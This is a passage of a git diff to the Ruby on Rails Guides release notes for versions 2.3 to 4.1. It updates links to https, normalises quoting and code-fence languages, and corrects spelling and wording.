-* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
+* `Rails.root` now returns a `Pathname` object, which means you can use it directly with the `join` method to [clean up existing code](https://afreshcup.wordpress.com/2008/12/05/a-little-rails_root-tidiness/) that uses `File.join`.
 * Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`).
 * Rails Guides have been converted from AsciiDoc to Textile markup.
 * Scaffolded views and controllers have been cleaned up a bit.
@@ -605,7 +605,7 @@ Deprecated
 
 A few pieces of older code are deprecated in this release:
 
-* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts/tree) plugin.
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](https://github.com/rails/irs_process_scripts) plugin.
 * `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](https://github.com/rails/render_component/tree/master).
 * Support for Rails components has been removed.
 * If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.
diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md
index 517b38be07b36..172ce8ee004f9 100644
--- a/guides/source/3_0_release_notes.md
+++ b/guides/source/3_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 3.0 Release Notes
 ===============================
@@ -38,7 +38,7 @@ If you're upgrading an existing application, it's a great idea to have good test
 
 Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.
 
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.
 
 ### Rails Application object
 
@@ -73,7 +73,7 @@ $ ruby script/plugin install git://github.com/rails/rails_upgrade.git
 
 You can see an example of how that works at [Rails Upgrade is now an Official Plugin](http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin)
 
-Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
+Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](https://discuss.rubyonrails.org/c/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!
 
 Creating a Rails 3.0 application
 --------------------------------
@@ -88,7 +88,7 @@ $ cd myapp
 
 Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/bundler/bundler) which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
 
-More information: - [bundler homepage](http://bundler.io/)
+More information: - [bundler homepage](https://bundler.io/)
 
 ### Living on the Edge
 
@@ -131,7 +131,7 @@ More information: - [Make Any Ruby Object Feel Like ActiveRecord](http://yehudak
 
 ### Controller Abstraction
 
-Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
+Another big part of decoupling the core components was creating a base superclass that is separated from the notions of HTTP in order to handle rendering of views, etc. This creation of `AbstractController` allowed `ActionController` and `ActionMailer` to be greatly simplified with common code removed from all these libraries and put into Abstract Controller.
 
 More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/rails-edge-architecture/)
 
@@ -153,9 +153,9 @@ More information: - [New Action Mailer API in Rails 3](http://lindsaar.net/2010/
 Documentation
 -------------
 
-The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](http://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](http://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
+The documentation in the Rails tree is being updated with all the API changes, additionally, the [Rails Edge Guides](https://edgeguides.rubyonrails.org/) are being updated one by one to reflect the changes in Rails 3.0. The guides at [guides.rubyonrails.org](https://guides.rubyonrails.org/) however will continue to contain only the stable version of Rails (at this point, version 2.3.5, until 3.0 is released).
 
-More Information: - [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+More Information: - [Rails Documentation Projects](https://rubyonrails.org/2009/1/15/rails-documentation-projects)
 
 
 Internationalization
@@ -174,7 +174,7 @@ More Information: - [Rails 3 I18n changes](http://blog.plataformatec.com.br/2010
 Railties
 --------
 
-With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines or plugins as painless and extensible as possible:
+With the decoupling of the main Rails frameworks, Railties got a huge overhaul so as to make linking up frameworks, engines, or plugins as painless and extensible as possible:
 
 * Each application now has its own name space, application is started with `YourAppName.boot` for example, makes interacting with other applications a lot easier.
 * Anything under `Rails.root/app` is now added to the load path, so you can make `app/observers/user_observer.rb` and Rails will load it without any modifications.
@@ -213,7 +213,7 @@ Railties now deprecates:
 More information:
 
 * [Discovering Rails 3 generators](http://blog.plataformatec.com.br/2010/01/discovering-rails-3-generators)
-* [The Rails Module (in Rails 3)](http://litanyagainstfear.com/blog/2010/02/03/the-rails-module/)
+* [The Rails Module (in Rails 3)](http://quaran.to/blog/2010/02/03/the-rails-module/)
 
 Action Pack
 -----------
@@ -250,7 +250,7 @@ Deprecations:
 More Information:
 
 * [Render Options in Rails 3](https://blog.engineyard.com/2010/render-options-in-rails-3)
-* [Three reasons to love ActionController::Responder](http://weblog.rubyonrails.org/2009/8/31/three-reasons-love-responder)
+* [Three reasons to love ActionController::Responder](https://rubyonrails.org/2009/8/31/three-reasons-love-responder)
 
 
 ### Action Dispatch
@@ -338,7 +338,7 @@ Helpers that do something else, like `cache` or `content_for`, are not affected
 #### Other Changes
 
 * You no longer need to call `h(string)` to escape HTML output, it is on by default in all view templates. If you want the unescaped string, call `raw(string)`.
-* Helpers now output HTML 5 by default.
+* Helpers now output HTML5 by default.
 * Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation.
 * I18n select label on should now be :en.helpers.select instead of :en.support.select.
 * You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output.
@@ -422,7 +422,7 @@ More Information:
 Active Record
 -------------
 
-Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
+Active Record received a lot of attention in Rails 3.0, including abstraction into Active Model, a full update to the Query interface using Arel, validation updates, and many enhancements and fixes. All of the Rails 2.x API will be usable through a compatibility layer that will be supported until version 3.1.
 
 
 ### Query Interface
@@ -607,6 +607,6 @@ More Information:
 Credits
 -------
 
-See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
+See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them.
 
 Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net).
diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md
index fd90cf9886637..3d64c16d6a269 100644
--- a/guides/source/3_1_release_notes.md
+++ b/guides/source/3_1_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 3.1 Release Notes
 ===============================
@@ -11,7 +11,7 @@ Highlights in Rails 3.1:
 * jQuery as the default JavaScript library
 
 These release notes cover only the major changes. To learn about various bug
-fixes and changes, please refer to the change logs or check out the [list of
+fixes and changes, please refer to the changelogs or check out the [list of
 commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails
 repository on GitHub.
 
@@ -26,7 +26,7 @@ If you're upgrading an existing application, it's a great idea to have good test
 
 Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
 
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
 
 ### What to update in your apps
 
@@ -37,18 +37,18 @@ The following changes are meant for upgrading your application to Rails 3.1.3, t
 Make the following changes to your `Gemfile`.
 
 ```ruby
-gem 'rails', '= 3.1.3'
-gem 'mysql2'
+gem "rails", "= 3.1.3"
+gem "mysql2"
 
 # Needed for the new asset pipeline
 group :assets do
-  gem 'sass-rails',   "~> 3.1.5"
-  gem 'coffee-rails', "~> 3.1.1"
-  gem 'uglifier',     ">= 1.0.3"
+  gem "sass-rails",   "~> 3.1.5"
+  gem "coffee-rails", "~> 3.1.1"
+  gem "uglifier",     ">= 1.0.3"
 end
 
 # jQuery is the default JavaScript library in Rails 3.1
-gem 'jquery-rails'
+gem "jquery-rails"
 ```
 
 #### config/application.rb
@@ -151,7 +151,7 @@ $ cd myapp
 
 Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
 
-More information: - [bundler homepage](http://bundler.io/)
+More information: - [bundler homepage](https://bundler.io/)
 
 ### Living on the Edge
 
@@ -221,7 +221,7 @@ Railties
 
 * Added `Rack::Cache` to the default middleware stack.
 
-* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+* Engines received a major update - You can mount them at any path, enable assets, run generators, etc.
 
 Action Pack
 -----------
@@ -240,7 +240,7 @@ Action Pack
 
 * Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
 
-* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options.
+* `url_for` and named URL helpers now accept `:subdomain` and `:domain` as options.
 
 * Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call.
 
@@ -291,9 +291,9 @@ Action Pack
     end
     ```
 
-    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
+    You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](https://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information.
 
-* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+* The redirect route method now also accepts a hash of options which will only change the parts of the URL in question, or an object which responds to call, allowing for redirects to be reused.
 
 ### Action Dispatch
 
@@ -455,7 +455,7 @@ Active Record
     ```ruby
     class FooMigration < ActiveRecord::Migration
       def up # Not self.up
-        ...
+        # ...
       end
     end
     ```
@@ -556,6 +556,6 @@ Deprecations:
 Credits
 -------
 
-See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
 
 Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev)
diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md
index f16d509f775a1..fc4fb1101f3e7 100644
--- a/guides/source/3_2_release_notes.md
+++ b/guides/source/3_2_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 3.2 Release Notes
 ===============================
@@ -11,7 +11,7 @@ Highlights in Rails 3.2:
 * Tagged Logging
 
 These release notes cover only the major changes. To learn about various bug
-fixes and changes, please refer to the change logs or check out the [list of
+fixes and changes, please refer to the changelogs or check out the [list of
 commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails
 repository on GitHub.
 
@@ -30,13 +30,13 @@ TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails.
 
 ### What to update in your apps
 
-* Update your Gemfile to depend on
+* Update your `Gemfile` to depend on
     * `rails = 3.2.0`
     * `sass-rails ~> 3.2.3`
     * `coffee-rails ~> 3.2.1`
     * `uglifier >= 1.0.3`
 
-* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+* Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. You can start replacing these plugins by extracting them as gems and adding them in your `Gemfile`. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
 
 * There are a couple of new configuration changes you'd want to add in `config/environments/development.rb`:
 
@@ -64,8 +64,8 @@ Replace the code beneath the comment in `script/rails` with the following conten
 ENGINE_ROOT = File.expand_path('../..', __FILE__)
 ENGINE_PATH = File.expand_path('../../lib/your_engine_name/engine', __FILE__)
 
-require 'rails/all'
-require 'rails/engine/commands'
+require "rails/all"
+require "rails/engine/commands"
 ```
 
 Creating a Rails 3.2 application
@@ -81,7 +81,7 @@ $ cd myapp
 
 Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
 
-More information: [Bundler homepage](http://bundler.io/)
+More information: [Bundler homepage](https://bundler.io/)
 
 ### Living on the Edge
 
@@ -146,23 +146,23 @@ Railties
 
 * Add an alias `d` for `destroy`. This works for engines too.
 
-* Attributes on scaffold and model generators default to string. This allows the following: `rails g scaffold Post title body:text author`
+* Attributes on scaffold and model generators default to string. This allows the following: `bin/rails g scaffold Post title body:text author`
 
 * Allow scaffold/model/migration generators to accept "index" and "uniq" modifiers. For example,
 
-    ```ruby
-    rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
+    ```bash
+    $ bin/rails g scaffold Post title:string:index author:uniq price:decimal{7,2}
     ```
 
     will create indexes for `title` and `author` with the latter being a unique index. Some types such as decimal accept custom options. In the example, `price` will be a decimal column with precision and scale set to 7 and 2 respectively.
 
-* Turn gem has been removed from default Gemfile.
+* Turn gem has been removed from default `Gemfile`.
 
 * Remove old plugin generator `rails generate plugin` in favor of `rails plugin new` command.
 
 * Remove old `config.paths.app.controller` API in favor of `config.paths["app/controller"]`.
 
-#### Deprecations
+### Deprecations
 
 * `Rails::Plugin` is deprecated and will be removed in Rails 4.0. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies.
 
@@ -192,7 +192,7 @@ Action Pack
 
     Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions.
 
-* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
+* `form_for` is changed to use `#{action}_#{as}` as the CSS class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`.
 
 * `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`.
 
@@ -295,7 +295,7 @@ Action Pack
     ```ruby
     @items.each do |item|
       content_tag_for(:li, item) do
-         Title: <%= item.title %>
+        Title: <%= item.title %>
       end
     end
     ```
@@ -312,7 +312,7 @@ Action Pack
 
 #### Deprecations
 
-* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
+* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: `render :template => "foo", :formats => [:html, :js], :handlers => :erb`.
 
 ### Sprockets
 
@@ -462,7 +462,6 @@ Active Record
     end
 
     Post.table_name # => "special_posts"
-
     ```
 
 Active Model
diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md
index 4615cf18e635b..7249c3fb56920 100644
--- a/guides/source/4_0_release_notes.md
+++ b/guides/source/4_0_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 4.0 Release Notes
 ===============================
@@ -11,7 +11,7 @@ Highlights in Rails 4.0:
 * Russian Doll Caching
 
 These release notes cover only the major changes. To learn about various bug
-fixes and changes, please refer to the change logs or check out the [list of
+fixes and changes, please refer to the changelogs or check out the [list of
 commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails
 repository on GitHub.
 
@@ -26,8 +26,8 @@ If you're upgrading an existing application, it's a great idea to have good test
 Creating a Rails 4.0 application
 --------------------------------
 
-```
- You should have the 'rails' RubyGem installed
+```bash
+# You should have the 'rails' RubyGem installed
 $ rails new myapp
 $ cd myapp
 ```
@@ -36,45 +36,45 @@ $ cd myapp
 
 Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
 
-More information: [Bundler homepage](http://bundler.io)
+More information: [Bundler homepage](https://bundler.io)
 
 ### Living on the Edge
 
 `Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag:
 
-```
+```bash
 $ rails new myapp --edge
 ```
 
 If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag:
 
-```
+```bash
 $ ruby /path/to/rails/railties/bin/rails new myapp --dev
 ```
 
 Major Features
 --------------
 
-[![Rails 4.0](images/rails4_features.png)](http://guides.rubyonrails.org/images/rails4_features.png)
+[![Rails 4.0](images/4_0_release_notes/rails4_features.png)](https://guides.rubyonrails.org/images/4_0_release_notes/rails4_features.png)
 
 ### Upgrade
 
 * **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required
-* **[New deprecation policy](http://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
+* **[New deprecation policy](https://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1.
 * **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching.
 * **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code.
 * **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store.
 * **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters.
 * **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used.
-* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a Gemfile to manage installed gems.
+* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a `Gemfile` to manage installed gems.
 
 ### ActionPack
 
-* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow whitelisted parameters to update model objects (`params.permit(:title, :text)`).
+* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow permitted parameters to update model objects (`params.permit(:title, :text)`).
 * **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`).
 * **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`.
 * **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation.
-* **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
+* **[Russian doll caching](https://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object.
 * **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body.
 * **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1.
 * **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel.
@@ -184,19 +184,19 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
 * `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass`
   when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as:
 
-  ```ruby
-  # ActiveSupport 3.x
-  "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
-  "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+    ```ruby
+    # ActiveSupport 3.x
+    "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass
+    "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass
 
-  # ActiveSupport 4
-  "asdf".to_date # => ArgumentError: invalid date
-  "333".to_date # => Fri, 29 Nov 2013
-  ```
+    # ActiveSupport 4
+    "asdf".to_date # => ArgumentError: invalid date
+    "333".to_date # => Fri, 29 Nov 2013
+    ```
 
 ### Deprecations
 
-* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from MiniTest instead.
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead.
 
 * `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1.
 
@@ -204,7 +204,7 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
 
 * Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols).
 
-* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
+* `ActiveSupport::BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library.
 
 * Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?`
 
@@ -234,11 +234,11 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
       The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default`
 
     * New method `reversible` makes it possible to specify code to be run when migrating up or down.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible)
+      See the [Guide on Migration](https://github.com/rails/rails/blob/main/guides/source/active_record_migrations.md#using-reversible)
 
     * New method `revert` will revert a whole migration or the given block.
       If migrating down, the given migration / block is run normally.
-      See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations)
+      See the [Guide on Migration](https://github.com/rails/rails/blob/main/guides/source/active_record_migrations.md#reverting-previous-migrations)
 
 * Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support.
 
@@ -281,4 +281,4 @@ Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/a
 Credits
 -------
 
-See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md
index 6bf65757ec241..50caddc081a77 100644
--- a/guides/source/4_1_release_notes.md
+++ b/guides/source/4_1_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Ruby on Rails 4.1 Release Notes
 ===============================
@@ -11,7 +11,7 @@ Highlights in Rails 4.1:
 * Action Mailer previews
 
 These release notes cover only the major changes. To learn about various bug
-fixes and changes, please refer to the change logs or check out the [list of
+fixes and changes, please refer to the changelogs or check out the [list of
 commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails
 repository on GitHub.
 
@@ -44,19 +44,19 @@ spring environments.
 
 **Running rake tasks:**
 
-```
-bin/rake test:models
+```bash
+$ bin/rake test:models
 ```
 
 **Running a Rails command:**
 
-```
-bin/rails console
+```bash
+$ bin/rails console
 ```
 
 **Spring introspection:**
 
-```
+```bash
 $ bin/spring status
 Spring is running:
 
@@ -66,7 +66,7 @@ Spring is running:
 ```
 
 Have a look at the
-[Spring README](https://github.com/rails/spring/blob/master/README.md) to
+[Spring README](https://github.com/rails/spring/blob/main/README.md) to
 see all available features.
 
 See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring)
@@ -159,7 +159,7 @@ By default, these preview classes live in `test/mailers/previews`.
 This can be configured using the `preview_path` option.
 
 See its
-[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails)
+[documentation](https://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails)
 for a detailed write up.
 
 ### Active Record enums
@@ -182,7 +182,7 @@ Conversation.statuses # => { "active" => 0, "archived" => 1 }
 ```
 
 See its
-[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
+[documentation](https://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html)
 for a detailed write up.
 
 ### Message Verifiers
@@ -215,12 +215,12 @@ class Todo < ActiveRecord::Base
     end
 
     def latest_event
-      ...
+      # ...
     end
 
     private
       def some_internal_method
-        ...
+        # ...
       end
   end
 end
@@ -231,7 +231,7 @@ extending it with `ActiveSupport::Concern`, then mixing it in to the
 `Todo` class.
 
 See its
